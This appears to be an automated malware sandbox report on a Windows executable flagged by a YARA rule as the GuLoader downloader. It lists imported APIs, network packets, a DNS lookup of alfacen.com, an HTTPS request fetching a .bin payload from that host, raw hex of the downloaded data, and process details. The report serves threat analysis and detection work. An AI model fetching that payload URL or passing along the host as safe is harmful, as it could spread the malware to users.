KERNEL32.dll	SetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 19:09:27.812395096 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:27.812450886 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:27.812555075 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:27.827723026 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:27.827749014 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:29.429107904 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:29.429223061 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:29.509888887 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:29.509919882 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:29.510845900 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:29.511445045 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:29.641005993 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:29.683448076 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:30.143138885 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:30.143157959 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:30.143232107 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:30.143256903 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:30.143270016 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:30.143296957 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:30.299513102 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:30.299587965 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:30.457535982 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:30.457604885 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:30.457840919 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:30.457890987 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:30.617942095 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:30.618024111 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:30.784518957 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:30.784646988 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:30.828896999 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:30.829080105 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:30.928620100 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:30.928734064 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:30.985232115 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:30.985322952 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:31.928946972 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:31.928961992 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:31.929054976 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:31.930002928 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:31.930073023 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.086008072 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:32.086107969 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.241575956 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:32.241678953 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.242474079 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:32.242539883 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.398699045 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:32.398792982 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.400091887 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:32.400146008 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.400190115 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.557626963 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:32.557749033 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.558819056 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:32.558900118 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.559295893 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:32.559367895 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.714088917 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:32.714163065 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.714884996 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:32.714943886 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.715958118 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:32.716022968 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.872096062 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:32.872194052 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.873126030 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:32.873187065 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:32.873677015 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:32.873738050 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.029438019 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:33.029529095 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.030471087 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:33.030540943 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.030767918 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:33.030834913 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.031735897 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:33.031791925 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.187561035 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:33.187761068 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.188127041 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:33.188189983 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.188612938 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:33.188678026 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.189570904 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:33.189630985 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.344813108 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:33.344996929 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.345324039 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:33.345391035 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.346215010 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:33.346280098 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.346290112 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:33.346333027 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.346364975 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:33.346412897 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.380670071 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.380718946 CEST	443	49846	193.107.36.30	192.168.2.4
Oct 20, 2024 19:09:33.380733013 CEST	49846	443	192.168.2.4	193.107.36.30
Oct 20, 2024 19:09:33.380772114 CEST	49846	443	192.168.2.4	193.107.36.30

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 19:09:27.727332115 CEST	63721	53	192.168.2.4	1.1.1.1
Oct 20, 2024 19:09:27.804600954 CEST	53	63721	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 20, 2024 19:09:27.727332115 CEST	192.168.2.4	1.1.1.1	0xc960	Standard query (0)	alfacen.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 20, 2024 19:09:27.804600954 CEST	1.1.1.1	192.168.2.4	0xc960	No error (0)	alfacen.com		193.107.36.30	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

alfacen.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49846	193.107.36.30	443	1060	C:\Users\user\Desktop\450707124374000811.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-20 17:09:29 UTC	161	OUT	GET /GZgWeuQ77.bin HTTP/1.1 User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: alfacen.com Cache-Control: no-cache
2024-10-20 17:09:30 UTC	344	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 17:09:29 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 18 Oct 2024 09:43:46 GMT Accept-Ranges: bytes Content-Length: 287296 Cache-Control: max-age=2592000 Expires: Tue, 19 Nov 2024 17:09:29 GMT Vary: Accept-Encoding Content-Type: application/octet-stream
2024-10-20 17:09:30 UTC	7848	IN	Data Raw: cf c5 f8 ac f6 67 ef 06 07 f8 37 69 71 e5 d0 63 6e a7 11 60 13 f7 7c 32 98 d3 07 17 1b 04 21 a6 fc 61 21 db 82 0c 0c ba 46 57 13 cc dd 2f ce bd 43 43 ef 35 7d c0 fc 24 73 28 81 73 c3 a6 69 98 93 d8 f3 4e 6a c2 71 51 f0 c6 fc 07 f8 50 07 e1 0b f0 b4 20 98 33 d0 3c 0c 3c f2 a4 e0 52 c3 85 c1 ae f3 a8 58 8c e1 13 e9 10 56 32 c1 ed e1 41 3e 19 b6 c3 22 30 78 90 98 2a 46 7c d9 95 0d 4f 3b 89 7f d3 95 f3 70 38 31 fd 3c e2 2b b2 8e bc 0f f7 d6 61 4a 63 12 42 09 e3 2c 28 3e 2a 77 4f 82 c5 9d 08 51 bc d0 b0 72 ed cf 50 f3 4a 6b 0c 78 44 57 39 ba 8a 63 81 20 63 93 0c 8e af 85 cf c2 c3 fc a9 90 62 3a b3 59 2d 6c bb ab fb 54 6e f1 22 30 66 97 3e 79 56 a5 5d 1f 0f e0 07 14 f9 2b e4 82 f2 c7 a6 e9 67 80 9f d7 69 d9 c4 b0 37 47 52 0a c3 02 fa 36 c0 87 ea 25 2d 64 c9 a9 Data Ascii: g7iqcn`\|2!a!FW/CC5}$s(siNjqQP 3<<RXV2A>"0xF\|O;p81<+aJcB,(>wOQrPJkxDW9c cb:Y-lTn"0f>yV]+gi7GR6%-d
2024-10-20 17:09:30 UTC	8000	IN	Data Raw: 2c ce e6 06 e5 82 20 0b 06 93 db cf 18 ec ae 54 43 ca 88 70 a9 e1 bd 58 e5 d6 65 bc 1a f3 16 f4 b1 18 b0 5e 0f 1e 81 12 d3 d6 45 64 95 b8 78 50 9a 84 4f ec 12 72 a7 b8 d9 43 9f 7d ed 3b 31 2d 84 94 cc d8 0f 9e 75 cc 7f 6e 99 13 d4 61 ab bf 51 51 00 90 3a 67 14 91 53 3f 30 ea 39 c1 5d 2e 99 e4 39 e9 f7 78 f3 82 4d ab bc d6 a3 0e cf 16 47 02 d9 a8 f3 b5 78 d7 5e 01 b1 6f 57 26 fe 1d 62 73 ed e4 cf 08 b8 72 39 4b 3f 68 9b f2 a4 8d c3 06 d5 95 39 23 02 ec cb c9 d4 84 3a af d1 04 ef a8 c4 c1 33 31 de c6 cb cb 34 6a 55 a7 4b 28 44 90 05 6c fe 05 65 ea 02 76 3f 23 6e 9b c6 46 36 75 8f b2 9d 7c 80 68 d4 91 08 59 44 65 88 d5 29 b6 64 6c bc eb f9 a1 a0 0d 6c e7 14 30 9e 46 02 b8 3d 38 e9 f5 f9 d8 86 c7 b7 9c 52 ab fc de bb 45 d8 e8 a4 d8 c5 ec 5f ac 38 a6 7b c8 b9 Data Ascii: , TCpXe^EdxPOrC};1-unaQQ:gS?09].9xMGx^oW&bsr9K?h9#:314jUK(Dlev?#nF6u\|hYDe)dll0F=8RE_8{
2024-10-20 17:09:30 UTC	8000	IN	Data Raw: f2 ae 50 c3 29 22 6c ae a8 6f 37 25 0d 97 21 ca be 06 82 75 8d 66 e2 1a 63 c8 9c 4b 53 cb 8a 10 07 98 93 a6 25 11 92 cf 18 3b c1 7e f3 b1 cd a0 68 80 66 4d 7b 18 3e 3f fc f1 c2 4f 9d f4 7c 7c e4 ac c7 a6 87 2d 89 32 c3 a3 e7 7b 2a 63 aa 92 54 f4 ee 25 ef bd b7 8b 93 0a f1 1a a7 7f 35 dd af 3e 49 88 c1 61 01 15 5c 7a 2a c1 b5 23 87 a9 f8 24 fc d0 fb 6f f9 7d 64 92 47 b4 5d 2f 0d 8c e6 ef 97 04 51 96 a1 7b 61 65 8a 0e 0e 37 b4 31 05 39 ce 21 a1 3b be df ee de e0 5d 9d a4 85 cd 7e 9d c3 41 64 89 9e f9 8e 86 1c 07 59 5e fc 16 87 4e 73 56 a9 45 21 e8 2e d7 d6 0d 45 bb 11 5c c1 bc 29 1b fb d3 72 49 bf 9d 6a f2 bf 3b 17 b3 ec 53 d2 be 1b fa 46 79 5c db 4a d9 88 e2 0f c0 4d bf f0 44 37 41 e0 0c fd 9b 00 c1 a9 f3 a7 ce 23 50 84 f3 01 0f 19 fd e3 59 1b c9 9a 3c 2e Data Ascii: P)"lo7%!ufcKS%;~hfM{>?O\|\|-2{cT%5>Ia\z#$o}dG]/Q{ae719!;]~AdY^NsVE!.E\)rIj;SFy\JMD7A#PY<.
2024-10-20 17:09:30 UTC	8000	IN	Data Raw: be 2e 90 bd 4d eb 72 de b5 1f ad 1b 04 2a 4f 2a ff 04 2b 12 c9 51 c6 db d3 49 dd 45 c9 ef d4 d9 ff ba b4 72 7e c6 23 82 1d 92 0c 69 c5 d0 b3 78 98 45 59 bc 94 20 07 9d 45 6c db 31 0a 84 e4 52 ed 6d 61 ec 6a 79 94 94 13 73 cd 49 e5 92 34 27 c4 0a b7 a7 85 00 5d d5 b0 11 8b bb 43 e1 45 7f 4c 91 d5 39 8f 83 a2 df 3c 42 c6 83 80 6c bc 94 41 36 d0 3a fa d9 a9 ab 64 2f 90 f9 7d a2 bb 12 10 d6 9e 20 d4 92 00 b4 98 d9 5c 11 44 bd d7 10 3d 3a 46 e2 bc dc 2c 14 72 6a b7 69 65 db 21 79 e6 82 72 d1 3d e2 01 aa 75 15 9d 72 90 7b a2 68 56 40 ea 3b 26 1f 6e 6c 67 7c ae 32 d8 17 c3 e0 cc 06 06 ba 90 7a e3 98 47 44 05 c0 3f 49 3b 00 e6 f1 2b a4 29 3b dc c5 a6 6c f6 31 f2 a7 f0 94 76 b4 89 5d c9 02 0b 85 7e 30 b9 ad ad a1 26 68 1f 7a f5 72 33 cc 39 01 e1 a2 02 d8 31 72 da Data Ascii: .MrO+QIEr~#ixEY El1RmajysI4']CEL9<BlA6:d/} \D=:F,rjie!yr=ur{hV@;&nlg\|2zGD?I;+);l1v]~0&hzr391r
2024-10-20 17:09:30 UTC	8000	IN	Data Raw: 0a 80 72 67 3f 68 36 16 a7 4c c3 2f 6d e8 4c d4 20 df 61 28 af ab 85 7c 0f 45 30 70 7d f5 d8 d6 2b f7 f2 c7 f9 c0 4b d5 e1 ba 76 ea 7e 00 1b 5c 94 9d fe 8b 99 74 62 17 c2 68 aa 4c 0b a4 37 ac 2d 17 63 43 8c 6d 85 82 79 aa 49 84 2a 62 2e 1e bc 77 27 5c d8 ee 9a 3d 9e be f0 55 b1 bc de 25 04 a6 fe 3e 62 c9 70 21 be b6 a2 f8 ed 99 63 81 2b d0 7e ed 61 fe 0c 9f b0 23 a2 06 92 3f 7f 06 90 6c 3b 38 43 e3 97 96 a8 0f 92 e5 5b b3 cc 06 6b 68 37 17 53 0c 1b ef 2e ba c7 dc e6 90 c7 0b fc 34 b2 7e bf bd 7c 7e f8 ce b7 e9 ac c4 57 e5 d0 cb 1d a2 55 c6 0c ee a1 04 2c 14 cc 9b 10 c5 cc 94 bf 4c 6e 6b cf b0 64 6c 60 53 f7 ae 51 c8 80 c2 a7 76 db 03 8b ff fe 1b 0e a5 a0 0b 37 72 aa 83 cc 02 e0 0c d0 59 16 21 ff 6a 73 a4 bc 97 3a 77 53 eb 2f 51 0b 6a a1 fe 44 99 c7 72 8f Data Ascii: rg?h6L/mL a(\|E0p}+Kv~\tbhL7-cCmyI*b.w'\=U%>bp!c+~a#?l;8C[kh7S.4~\|~WU,Lnkdl`SQv7rY!js:wS/QjDr
2024-10-20 17:09:30 UTC	8000	IN	Data Raw: f6 eb eb 54 c2 dd 5d ad c6 8a 8d 4d a2 88 8a db 68 2b 3a 35 24 86 28 8e f8 cb b4 3d 77 ef 6f f0 8d cd 43 a6 19 bb ce 67 ad c6 e4 f7 c0 be 27 89 15 0c 6e eb 30 ba b2 18 8a d0 e8 05 ac 7e aa 93 93 5e df 2c 66 0c 4a f6 39 c3 02 a0 b9 86 4f 66 47 3f 13 45 da a8 78 6c d1 82 56 8a fc 70 e6 58 74 30 d2 56 17 24 8d bd 00 a1 62 33 82 84 7e 92 ad 25 77 00 b0 89 d4 1b dc 75 1f 13 75 c1 32 e6 88 0d 5d 96 23 61 08 71 b4 98 b9 7b d0 d4 d8 21 b6 21 3e 6b 32 c2 08 ee 28 cb 08 74 b3 f6 9e 54 ad 5b 1e 00 31 0e 26 4f dd 06 22 f3 4a a7 84 64 a1 46 15 35 45 02 89 6b 22 58 ad 13 5a 51 4d ca 86 12 09 db 77 f1 04 fe 32 76 49 cd cf 79 76 4d cd 6f c9 c8 31 76 92 c1 49 32 4d 05 b9 26 55 83 70 e7 bc e7 75 33 53 a1 da d8 03 a1 31 57 c8 3c 28 23 62 75 22 90 a0 61 f8 13 29 09 ae b8 8b Data Ascii: T]Mh+:5$(=woCg'n0~^,fJ9OfG?ExlVpXt0V$b3~%wuu2]#aq{!!>k2(tT[1&O"JdF5Ek"XZQMw2vIyvMo1vI2M&Upu3S1W<(#bu"a)
2024-10-20 17:09:30 UTC	8000	IN	Data Raw: 8d 1b 25 c3 75 d9 7d a0 e8 73 64 cc d7 33 b7 9c 88 90 32 d3 4b 6b 81 9b 73 08 d7 92 1d b8 b2 09 54 fa 3c c4 aa bb f3 cf d4 16 b4 70 61 0e 2e df 2a d4 b6 1b 2b 3e d3 0b 77 69 17 2d 79 20 22 b2 77 23 c4 d3 8f 6a 9b 63 ce c3 a3 de 1a 5a 93 4c 6a 3b 01 14 98 e3 fa 38 e2 cc 53 dc 83 94 24 0f d8 5c 85 f3 73 6b ec ca bb 03 61 ce 77 f6 9b f0 d9 02 61 aa e1 bd 1d 82 9b 28 a5 5c 98 2d a7 c6 e4 ed 2b f2 8d 5d 22 0b 0d d9 b4 f8 26 99 0e bc 13 d6 51 f4 4f f8 4c e5 ca 23 54 a1 f7 57 a7 7d da d8 a3 fb 60 cf 1b 27 ab 0b a9 f9 69 1e 77 20 04 d5 21 93 42 18 1e fc 78 f4 eb 98 30 3e 1e 99 b8 9b 3c ea 6d 0c b2 d9 80 38 04 91 1f 80 2f 3b 5c 2e 23 ba cf b9 ff eb 5d 11 fb c1 30 fb db ec cd b5 12 51 b5 0a 43 9a 69 1f 5e a8 30 ec b2 04 c4 55 f7 7a 14 39 0f eb 7f bc 75 fe ed 94 cc Data Ascii: %u}sd32KksT<pa.*+>wi-y "w#jcZLj;8S$\skawa(\-+]"&QOL#TW}`'iw !Bx0><m8/;\.#]0QCi^0Uz9u
2024-10-20 17:09:30 UTC	8000	IN	Data Raw: 6d f9 e9 e8 0e d0 bd 12 4c 17 9a e6 f1 c5 6f 85 9b 86 c5 60 37 58 6a c8 42 9c 66 50 c6 52 d6 67 1d 63 ee 40 69 f3 cd 38 14 5a 43 5c d0 59 84 ef f7 7d a5 51 31 f1 52 f6 f5 f5 70 26 06 11 92 94 19 b0 bd 4e 99 c5 33 49 29 70 e9 24 40 50 2f 13 62 b3 0e 68 56 be 1b d0 62 76 47 b4 47 e3 a6 3f 7d a8 21 bb 9f 37 e2 90 15 b6 5c c0 a8 c7 48 85 9e ec a0 91 93 6b 73 82 1a 81 ca 6f 42 1a a3 60 bc 63 b9 45 24 df 06 43 3f 7a d5 9f e5 a9 cc 2b 6b f7 66 ca de 62 25 d2 9b 44 fb 86 d2 9e f1 99 84 8a d9 16 68 32 63 d4 0a 6c 99 a3 c5 0f 70 dd 68 98 ef f4 d3 e5 62 9a 8e 7e 62 b7 93 f3 c4 f2 e4 2f e5 94 56 bd 02 19 1d 0b 79 51 81 2d 45 32 7f 86 5a e0 af d9 c9 08 a3 15 d7 89 48 fe 02 0e 7a 53 cc ed 64 06 19 bd ff 5a 50 04 76 0d 5b 57 e6 51 91 36 8b 44 c2 64 e1 02 f2 d4 ad 80 d8 Data Ascii: mLo`7XjBfPRgc@i8ZC\Y}Q1Rp&N3I)p$@P/bhVbvGG?}!7\HksoB`cE$C?z+kfb%Dh2clphb~b/VyQ-E2ZHzSdZPv[WQ6Dd
2024-10-20 17:09:30 UTC	8000	IN	Data Raw: 39 0c 3a 49 2d bf e3 98 2e 53 96 bc 7a 9e fa 61 6f 7e 06 21 a8 17 5b c0 f2 68 b0 0b 7f 4a 42 91 5d 9f ce 92 4c 53 a5 87 d8 dd 97 50 45 ae 22 a6 1c e3 eb c6 19 47 1a 1b 04 b6 f7 49 66 6b 1e 75 5b 6f f0 5b 5a bf 59 45 ac 93 28 83 a1 3b 99 a6 f7 52 68 cd 6d a6 81 6b 65 fe f8 2a f7 0a eb 16 5d 05 04 d1 62 ea b2 e3 21 71 12 25 73 40 36 65 66 3f d4 c4 0a 3b 03 62 51 5a 1a a7 95 ad f3 41 b3 25 fe 49 3e 37 ce 57 24 60 6c 88 d4 04 45 47 87 b2 3e 46 64 50 66 a9 6e 85 b9 b8 0b 6d c1 d0 51 d7 22 24 85 96 53 c9 5f 4f fb ca 65 de 48 6d a7 fd 60 0d c8 34 29 e3 fa ff e3 6d 23 30 f1 99 e3 32 fa 53 0b d1 30 fe a5 e6 34 d9 5b e5 22 af 61 3a 2c 4b 9b 75 16 0d a5 f0 e6 a1 76 77 1d 0d 55 3b 5a 37 0f 64 4c 0c fe 69 21 86 f3 f8 d7 ba 59 b6 28 6a 69 f7 78 77 45 cc 2c 00 b0 20 cf Data Ascii: 9:I-.Szao~![hJB]LSPE"GIfku[o[ZYE(;Rhmke*]b!q%s@6ef?;bQZA%I>7W$`lEG>FdPfnmQ"$S_OeHm`4)m#02S04["a:,KuvwU;Z7dLi!Y(jixwE,
2024-10-20 17:09:31 UTC	8000	IN	Data Raw: 24 a1 db 4f 33 ad d2 2b 96 43 f0 76 43 1e 75 f2 5b 04 6a 74 69 e4 4b fe 40 06 b2 a5 98 21 bb 37 d4 b4 a7 0b 8d d7 97 79 e9 15 fd 26 0f 15 96 d8 96 c9 41 9f 83 29 5f 3b 9e 04 e0 03 15 c5 4a 4b 45 0b e2 47 db 11 22 24 b1 84 f1 db 9f 4a 05 97 d9 be 9d 64 d6 e3 8b 0a a6 2f a8 0a 3d 02 43 15 4b 51 e2 d0 ee d7 03 da f0 87 06 09 f9 b2 4f be 09 95 7b 8c 4f b4 26 f1 09 3f d8 e7 2e 13 f0 17 31 6c ee c6 93 02 ce bb c1 63 23 bc c1 77 67 4b dd 31 11 5f 48 a8 33 55 4e 4e bb d2 18 93 84 72 d3 d2 ae 40 50 b1 c4 11 a4 d2 eb 71 1d f7 b1 82 cb 87 58 ca 27 95 45 ff c6 46 46 bf c2 fc 95 09 ca 52 ae 78 08 cb 45 0a 40 9b 03 42 c3 1a de 56 cf 73 0e cf 66 d3 2b 10 a4 eb 56 e9 f1 92 8e 74 eb 44 9e bd 37 68 bd 12 d7 d4 a9 9a 19 3b 5e cb 2a fa 7e f0 4f 70 72 8d 7e 2a 67 8a 69 18 8b Data Ascii: $O3+CvCu[jtiK@!7y&A)_;JKEG"$Jd/=CKQO{O&?.1lc#wgK1_H3UNNr@PqX'EFFRxE@BVsf+VtD7h;^~Opr~gi

Target ID:	0
Start time:	13:08:01
Start date:	20/10/2024
Path:	C:\Users\user\Desktop\450707124374000811.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\450707124374000811.exe"
Imagebase:	0x400000
File size:	1'001'467 bytes
MD5 hash:	22AEAB62009AAA9073B3159D7DA1195E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2468313249.0000000002BF8000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:09:18
Start date:	20/10/2024
Path:	C:\Users\user\Desktop\450707124374000811.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\450707124374000811.exe"
Imagebase:	0x400000
File size:	1'001'467 bytes
MD5 hash:	22AEAB62009AAA9073B3159D7DA1195E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	22.5%
